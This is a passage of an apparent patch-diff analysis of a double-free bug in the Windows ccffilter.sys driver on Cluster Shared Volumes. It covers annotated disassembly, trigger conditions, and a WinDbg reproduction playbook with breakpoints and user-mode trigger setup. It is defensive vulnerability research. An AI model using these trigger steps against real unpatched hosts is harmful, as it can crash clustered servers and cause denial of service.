&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0007c5e:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;sbb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; rcx = mask&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0007c61:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; rcx = mask &amp;amp; EcpContext&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0007c66:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0007c6b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; success-path clear (runs regardless of var_b8)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0007c70:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0007c75:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0007c77:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmovnz&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; if (flag!=1) EcpContext = nullptr&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0007c7b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0007c80:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1c0007c85&lt;/span&gt;
&lt;span class="c1"&gt;; error-cleanup free relocated to 0x1c0007d87 (same guarded shape), now sees EcpContext == NULL after a successful insert&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;EvaluateCurrentState&lt;/code&gt; (&lt;code&gt;sub_1c00017b8&lt;/code&gt;, patch-only helper)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00017b8:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x28&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00017bc:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;g_Feature_2963746106_60258290_FeatureDescriptorDetails&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00017c3:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;EvaluateFeature&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; sub_1c0001740&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00017c8:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;g_Feature_2963746106_60258290_FeatureDescriptorDetails&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00017cf:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; ecx = cachedstate&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00017d1:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00017d3:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00017d6:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;setnz&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;; return (cachedstate != 1)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00017d9:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x28&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00017dd:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;retn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Annotation summary:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x1c0007baa&lt;/code&gt; — &lt;code&gt;CCFAddEcpToCreate&lt;/code&gt; call. After this returns &lt;code&gt;&amp;gt;= 0&lt;/code&gt;, the ECP at &lt;code&gt;[rsp+0x48]&lt;/code&gt; is owned by the IRP's ECP list and &lt;code&gt;var_b8&lt;/code&gt; is &lt;code&gt;0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1c0007c4b&lt;/code&gt; — consumed-branch &lt;code&gt;FltFreeExtraCreateParameter&lt;/code&gt;; unchanged by the patch and unreached because &lt;code&gt;var_b8 == 0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1c0007d5a&lt;/code&gt; — &lt;strong&gt;the vulnerable instruction&lt;/strong&gt;: &lt;code&gt;call FltFreeExtraCreateParameter&lt;/code&gt; on the still-listed ECP in the error-cleanup, reached when a version/CSV ECP step fails while &lt;code&gt;EcpContext&lt;/code&gt; is still live.&lt;/li&gt;
&lt;li&gt;The patch adds the success-path clear at &lt;code&gt;0x1c0007c6b&lt;/code&gt; (feature-gated) so the error-cleanup free sees &lt;code&gt;EcpContext == NULL&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Target must have CSV mounted and &lt;code&gt;ccffilter.sys&lt;/code&gt; loaded and filtering.&lt;/strong&gt; Confirm with &lt;code&gt;fltmc instances&lt;/code&gt; (the minifilter is attached to CSV volumes).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;From a standard user process&lt;/strong&gt;, call &lt;code&gt;NtCreateFile&lt;/code&gt; / &lt;code&gt;CreateFileW&lt;/code&gt; against a path under a CSV mount, e.g. &lt;code&gt;C:\ClusterStorage\Volume1\&amp;lt;file&amp;gt;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Supply an &lt;code&gt;EaBuffer&lt;/code&gt;&lt;/strong&gt; that carries a CCFF app-instance EA, parsed by &lt;code&gt;CCFFilterAppInstanceEA&lt;/code&gt;, so the &lt;code&gt;var_b7&lt;/code&gt; flag drives the &lt;code&gt;GUID_ECP_NETWORK_APP_INSTANCE&lt;/code&gt; allocation + &lt;code&gt;CCFAddEcpToCreate&lt;/code&gt; insert path (label &lt;code&gt;0x1c0007a96&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The pre-existing app-instance ECP must NOT already be present&lt;/strong&gt; (i.e. &lt;code&gt;CCFFindAppInstanceEcp&lt;/code&gt; returns &lt;code&gt;var_b8 == 0&lt;/code&gt; at entry), so the allocate/insert sequence runs.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The subsequent version/CSV ECP step must fail&lt;/strong&gt; so that the create status goes negative while &lt;code&gt;EcpContext&lt;/code&gt; is still live — this is what drives execution into the error-cleanup &lt;code&gt;FltFreeExtraCreateParameter&lt;/code&gt; at &lt;code&gt;0x1c0007d5a&lt;/code&gt; on the still-listed ECP. This failure is a secondary error path (for example an internal ECP allocation/insert failure) and is not directly attacker-controlled.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable effect:&lt;/strong&gt; the ECP context is freed while the IRP's ECP list still references it. Because the filter manager frees the ECPs in that list at create teardown, the block is freed a second time (or walked after free), which can corrupt the kernel pool and bugcheck the machine. With Driver Verifier Special Pool enabled on the &lt;code&gt;CCFF&lt;/code&gt; tag, the invalid free/dereference is caught at the point it occurs.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;h3&gt;Primitive&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Kernel pool double-free / use-after-free.&lt;/strong&gt; The freed ECP context is a small pool allocation (0x14 bytes, tag &lt;code&gt;CCFF&lt;/code&gt;). After the error-cleanup &lt;code&gt;FltFreeExtraCreateParameter&lt;/code&gt; at &lt;code&gt;0x1c0007d5a&lt;/code&gt;, the block is freed while it is still linked in the IRP's ECP list. The filter manager frees the ECPs remaining in that list when the create tears down, so the same block is freed a second time (or its stale contents are walked before that), corrupting the kernel pool.&lt;/p&gt;
&lt;h3&gt;Reachability and Impact&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;The primitive is only reached on an error path: a create that carries the app-instance EA succeeds in allocating and inserting the ECP, and then a subsequent version/CSV ECP sub-step returns a failure status. That secondary failure is not directly attacker-controlled — it is driven by internal conditions such as an ECP allocation/insert failure — so triggering is non-deterministic.&lt;/li&gt;
&lt;li&gt;No control over the freed block's replacement contents, timing, or a follow-on function-pointer/write primitive is demonstrable from these binaries. The concrete, reachable impact is kernel pool corruption, i.e. a local denial of service (bugcheck). There is no demonstrated path to privilege escalation.&lt;/li&gt;
&lt;li&gt;The environment is constrained: &lt;code&gt;ccffilter.sys&lt;/code&gt; only attaches to Cluster Shared Volume volumes, so a CSV-backed host is required.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;Assumes WinDbg/KD attached to the &lt;strong&gt;unpatched&lt;/strong&gt; &lt;code&gt;ccffilter_unpatched.sys&lt;/code&gt; on a system with a Cluster Shared Volume mounted.&lt;/p&gt;
&lt;h3&gt;Breakpoints&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp ccffilter_unpatched!CCFPreCreate
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Why:&lt;/strong&gt; Entry to the &lt;code&gt;IRP_MJ_CREATE&lt;/code&gt; pre-op. Confirm the create targets a CSV path by dumping the file name from the callback data. &lt;code&gt;rcx = FLT_CALLBACK_DATA* (arg1)&lt;/code&gt;, &lt;code&gt;rdx = FLT_RELATED_OBJECTS* (arg2)&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp 0x1c0007baa
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Why:&lt;/strong&gt; &lt;code&gt;CCFAddEcpToCreate&lt;/code&gt; call site — the &lt;code&gt;FltInsertExtraCreateParameter&lt;/code&gt; ownership transfer happens inside. After this returns &lt;code&gt;&amp;gt;= 0&lt;/code&gt;, the ECP at &lt;code&gt;[rsp+0x48]&lt;/code&gt; is owned by the IRP's ECP list and &lt;code&gt;var_b8&lt;/code&gt; is &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp 0x1c0007d5a
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Why:&lt;/strong&gt; &lt;strong&gt;The vulnerable &lt;code&gt;FltFreeExtraCreateParameter&lt;/code&gt; call&lt;/strong&gt; in the error-cleanup. &lt;code&gt;rcx = filter handle&lt;/code&gt;, &lt;code&gt;rdx = EcpContext&lt;/code&gt; (the still-listed ECP). This block is reached only when the status (&lt;code&gt;edi&lt;/code&gt;) is negative — i.e. a version/CSV ECP step failed while &lt;code&gt;EcpContext&lt;/code&gt; was still live.&lt;/p&gt;
&lt;h3&gt;What to Inspect at Each Breakpoint&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Breakpoint&lt;/th&gt;
&lt;th&gt;Register / Memory&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CCFPreCreate&lt;/code&gt; entry&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rcx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;FLT_CALLBACK_DATA*&lt;/code&gt; — follow &lt;code&gt;-&amp;gt;Iopb-&amp;gt;TargetFileObjectName-&amp;gt;Buffer&lt;/code&gt; to confirm CSV path.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CCFPreCreate&lt;/code&gt; entry&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rdx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;FLT_RELATED_OBJECTS*&lt;/code&gt; — &lt;code&gt;rdx-&amp;gt;[0x8]&lt;/code&gt; is the filter handle passed to Flt ECP APIs.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0007baa&lt;/code&gt; (pre-call)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rdx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;EcpContext&lt;/code&gt; — the freshly allocated 0x14-byte &lt;code&gt;CCFF&lt;/code&gt;-tagged ECP about to be inserted.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0007baa&lt;/code&gt; (post-return)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rax&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Status from &lt;code&gt;CCFAddEcpToCreate&lt;/code&gt;. Must be &lt;code&gt;&amp;gt;= 0&lt;/code&gt; to leave the ECP listed and live.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0007d5a&lt;/code&gt; (pre-free)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rdx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The ECP being freed (still in IRP ECP list). Note this value — it is the dangling pointer.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0007d5a&lt;/code&gt; (pre-free)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;edi&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Status; must be &lt;code&gt;&amp;lt; 0&lt;/code&gt; (a failed version/CSV ECP step) to reach this block.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Key Instructions / Offsets&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Instruction&lt;/th&gt;
&lt;th&gt;Significance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0007baa&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call CCFAddEcpToCreate&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;FltInsertExtraCreateParameter&lt;/code&gt; ownership transfer inside; &lt;code&gt;var_b8&lt;/code&gt; zeroed.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0007bb7&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;jns 0x1c0007bfd&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Branch into success path (&lt;code&gt;v4 &amp;gt;= 0&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0007c4b&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call FltFreeExtraCreateParameter&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Consumed-branch free; unchanged and unreached (&lt;code&gt;var_b8 == 0&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0007d43&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;test edi, edi / jns&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Error-cleanup gate (status &lt;code&gt;&amp;lt; 0&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0007d5a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call cs:__imp_FltFreeExtraCreateParameter&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;FltFreeExtraCreateParameter&lt;/code&gt; on the still-listed ECP — THE bug.&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0007760&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CCFPreCreate&lt;/code&gt; entry.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Trigger Setup (from user mode)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Confirm CSV mounted and &lt;code&gt;ccffilter.sys&lt;/code&gt; filtering:
   &lt;code&gt;text
   fltmc instances&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Build an &lt;code&gt;EaBuffer&lt;/code&gt; containing a CCFF app-instance EA so that &lt;code&gt;CCFFilterAppInstanceEA&lt;/code&gt; sets &lt;code&gt;var_b7&lt;/code&gt; and forces the &lt;code&gt;GUID_ECP_NETWORK_APP_INSTANCE&lt;/code&gt; allocation in &lt;code&gt;label_1c0007a96&lt;/code&gt;. Ensure no pre-existing app-instance ECP is present so &lt;code&gt;CCFFindAppInstanceEcp&lt;/code&gt; leaves &lt;code&gt;var_b8 == 0&lt;/code&gt; at entry, and arrange for the subsequent version/CSV ECP step to fail so the create status goes negative.&lt;/li&gt;
&lt;li&gt;From a standard user, open the file with &lt;code&gt;NtCreateFile&lt;/code&gt; supplying the CCFF app-instance &lt;code&gt;EaBuffer&lt;/code&gt;, under conditions that force the subsequent version/CSV ECP sub-step to fail (for example an ECP allocation/insert failure), so the create status goes negative while &lt;code&gt;EcpContext&lt;/code&gt; is still live.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Expected Observation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;At &lt;code&gt;0x1c0007d5a&lt;/code&gt;: &lt;code&gt;rdx&lt;/code&gt; is the ECP being freed. Step over; the ECP at &lt;code&gt;rdx&lt;/code&gt; is now freed but the IRP's ECP list still references it.&lt;/li&gt;
&lt;li&gt;Subsequently, when the filter manager tears down the create's ECP list, the same block is freed again / walked after free, producing kernel pool corruption and a bugcheck.&lt;/li&gt;
&lt;li&gt;With Driver Verifier Special Pool enabled on the &lt;code&gt;CCFF&lt;/code&gt; tag, the invalid free/dereference is caught at the point it occurs, with the faulting address at the freed ECP.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Struct / Offset Notes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;ECP context: 0x14 bytes total. &lt;code&gt;[ECP+0]&lt;/code&gt; = length word (&lt;code&gt;= 0x14&lt;/code&gt;), &lt;code&gt;[ECP+2]&lt;/code&gt; zeroed at init, &lt;code&gt;[ECP+4]&lt;/code&gt; = 16-byte app-instance payload.&lt;/li&gt;
&lt;li&gt;Pool tag: &lt;code&gt;"CCFF"&lt;/code&gt; (&lt;code&gt;0x46464343&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FLT_CALLBACK_DATA (arg1, rcx)&lt;/code&gt; → &lt;code&gt;-&amp;gt;Iopb&lt;/code&gt; → &lt;code&gt;-&amp;gt;Parameters.Create.EaBuffer&lt;/code&gt; is the parsed EA buffer.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;arg2[1]&lt;/code&gt; (&lt;code&gt;rdx-&amp;gt;[0x8]&lt;/code&gt;) = filter handle passed to every &lt;code&gt;Flt*&lt;/code&gt; ECP API.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;CCFPreCreate&lt;/code&gt; (&lt;code&gt;sub_1c0007760&lt;/code&gt;) — &lt;strong&gt;security-relevant&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Similarity:&lt;/strong&gt; 0.9658&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Change type:&lt;/strong&gt; behavioral / security-relevant&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What changed:&lt;/strong&gt; On the &lt;code&gt;CCFAddEcpToCreate&lt;/code&gt; success path, the unpatched code clears the local ECP pointer (&lt;code&gt;mov qword [rsp+0x48], r14&lt;/code&gt;) only inside the &lt;code&gt;if (var_b8 != 0)&lt;/code&gt; branch, which is never taken because &lt;code&gt;CCFAddEcpToCreate&lt;/code&gt; zeroes &lt;code&gt;var_b8&lt;/code&gt;. So after a successful insert the local &lt;code&gt;EcpContext&lt;/code&gt; stays live, and the function's error-cleanup (&lt;code&gt;0x1c0007d5a&lt;/code&gt;) frees it while it is still linked in the IRP's ECP list if a version/CSV ECP step fails. The patch adds a success-path clear of &lt;code&gt;EcpContext&lt;/code&gt; (via new helper &lt;code&gt;EvaluateCurrentState&lt;/code&gt; / &lt;code&gt;sub_1c00017b8&lt;/code&gt;, which calls &lt;code&gt;EvaluateFeature&lt;/code&gt; / &lt;code&gt;sub_1c0001740&lt;/code&gt; on &lt;code&gt;g_Feature_2963746106_60258290&lt;/code&gt; and returns &lt;code&gt;cachedstate != 1&lt;/code&gt;), using &lt;code&gt;neg eax; sbb rcx,rcx; and rcx,[rsp+0x48]&lt;/code&gt; at the first site and a second &lt;code&gt;EvaluateCurrentState&lt;/code&gt;-gated &lt;code&gt;cmovnz&lt;/code&gt; at &lt;code&gt;0x1c0007c6b&lt;/code&gt;. The &lt;code&gt;FltFreeExtraCreateParameter&lt;/code&gt; calls themselves are identical on both sides; only the local-pointer clear placement changed, so the error-cleanup no longer frees the still-listed ECP. &lt;strong&gt;This is the only behavioral change in the patch.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;code&gt;DriverEntry&lt;/code&gt; — cosmetic&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Similarity:&lt;/strong&gt; 0.9922&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Change type:&lt;/strong&gt; cosmetic (symbol / label stripping only)&lt;/li&gt;
